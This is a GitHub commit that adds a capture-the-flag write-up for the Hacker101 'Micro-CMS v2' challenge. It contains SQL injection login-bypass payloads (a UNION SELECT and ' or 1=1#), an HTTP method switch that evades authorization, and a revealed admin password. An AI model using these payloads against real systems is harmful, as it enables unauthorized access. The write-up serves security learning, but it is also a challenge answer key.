Skip to content

Commit eb0f48e

Browse files
committed
micro-cms-v2
1 parent 01fb427 commit eb0f48e

File tree

14 files changed

+116
-1
lines changed

14 files changed

+116
-1
lines changed

README.md

+3-1
Original file line numberDiff line numberDiff line change
@@ -10,9 +10,11 @@
1010
| ------------------- | ------------------------------------------ | ------ | ---------- |
1111
| Trivial (1 / flag) | [A little something to get you started][2] | Web | 1 / 1 |
1212
| Easy (2 / flag) | [Micro-CMS v1][3] | Web | 4 / 4 |
13+
| Moderate (3 / flag) | [Micro-CMS v2][5] | Web | 3 / 3 |
1314
| Moderate (5 / flag) | [TempImage][4] | Web | 2 / 2 |
1415

1516
[1]: https://ctf.hacker101.com/ctf
1617
[2]: ./a_little_something_to_get_you_started
1718
[3]: ./micro-cms_v1
18-
[4]: ./tempimage
19+
[4]: ./tempimage
20+
[3]: ./micro-cms_v2

micro-cms_v2/README.md

+17
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
# Micro-CMS v2
2+
3+
## [Flag0](./flag0) -- Found
4+
5+
- Regular users can only see public pages
6+
- Getting admin access might require a more perfect union
7+
- Knowing the password is cool, but there are other approaches that might be easier
8+
9+
## [Flag1](./flag1) -- Found
10+
11+
- What actions could you perform as a regular user on the last level, which you can't now?
12+
- Just because request fails with one method doesn't mean it will fail with a different method
13+
- Different requests often have different required authorization
14+
15+
## [Flag2](./flag2) -- Found
16+
17+
- Credentials are secret, flags are secret. Coincidence?

micro-cms_v2/flag0/README.md

+50
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
# Micro-CMS v2 - FLAG0
2+
3+
## 0x00 Index
4+
5+
![](./imgs/index.jpg)
6+
7+
## 0x01 Log In
8+
9+
Try create a new page. Redirect to log in page.
10+
11+
Try with weak password. Not working.
12+
13+
![](./imgs/login.jpg)
14+
15+
## 0x02 Try Add '
16+
17+
Get SQL error page
18+
19+
```
20+
Traceback (most recent call last):
21+
File "./main.py", line 145, in do_login
22+
if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:
23+
File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 255, in execute
24+
self.errorhandler(self, exc, value)
25+
File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler
26+
raise errorvalue
27+
ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1")
28+
```
29+
30+
## 0x03 Bypass Login
31+
32+
USERNAME =
33+
34+
```sql
35+
' UNION SELECT '123' AS password#
36+
```
37+
38+
and PASSWORD = 123
39+
40+
```sql
41+
SELECT password FROM admins WHERE username='admin' UNION SELECT '123' AS password#
42+
```
43+
44+
![](./imgs/success.jpg)
45+
46+
## 0x04 Private Page (FLAG)
47+
48+
![](./imgs/private.jpg)
49+
50+
![](./imgs/flag.jpg)

micro-cms_v2/flag0/imgs/flag.jpg

15 KB
Loading

micro-cms_v2/flag0/imgs/index.jpg

10.2 KB
Loading

micro-cms_v2/flag0/imgs/login.jpg

11.3 KB
Loading

micro-cms_v2/flag0/imgs/private.jpg

11.1 KB
Loading

micro-cms_v2/flag0/imgs/success.jpg

6.82 KB
Loading

micro-cms_v2/flag1/README.md

+23
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
# Micro-CMS v2 - FLAG1
2+
3+
## 0x00 Index
4+
5+
![](../flag0/imgs/index.jpg)
6+
7+
## 0x01 Edit
8+
9+
Try edit page with normal user.
10+
11+
```
12+
http://127.0.0.1:5001/xxxxxxxxxx/page/edit/1
13+
```
14+
15+
### GET
16+
17+
Also redirect to log in page.
18+
19+
![](./imgs/get.jpg)
20+
21+
### POST (FLAG)
22+
23+
![](./imgs/post.jpg)

micro-cms_v2/flag1/imgs/get.jpg

46.4 KB
Loading

micro-cms_v2/flag1/imgs/post.jpg

35.6 KB
Loading

micro-cms_v2/flag2/README.md

+23
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
# Micro-CMS v2 - FLAG2
2+
3+
## 0x00 Index
4+
5+
![](../flag0/imgs/index.jpg)
6+
7+
## 0x01 Log In
8+
9+
Try bypass username using
10+
11+
```
12+
' or 1=1#
13+
```
14+
15+
And try run the password.
16+
17+
![](./imgs/login.jpg)
18+
19+
## 0x02 FLAG
20+
21+
Get FLAG and password **grover**
22+
23+
![](./imgs/flag.jpg)

micro-cms_v2/flag2/imgs/flag.jpg

48.8 KB
Loading

micro-cms_v2/flag2/imgs/login.jpg

43.6 KB
Loading

0 commit comments

Comments
 (0)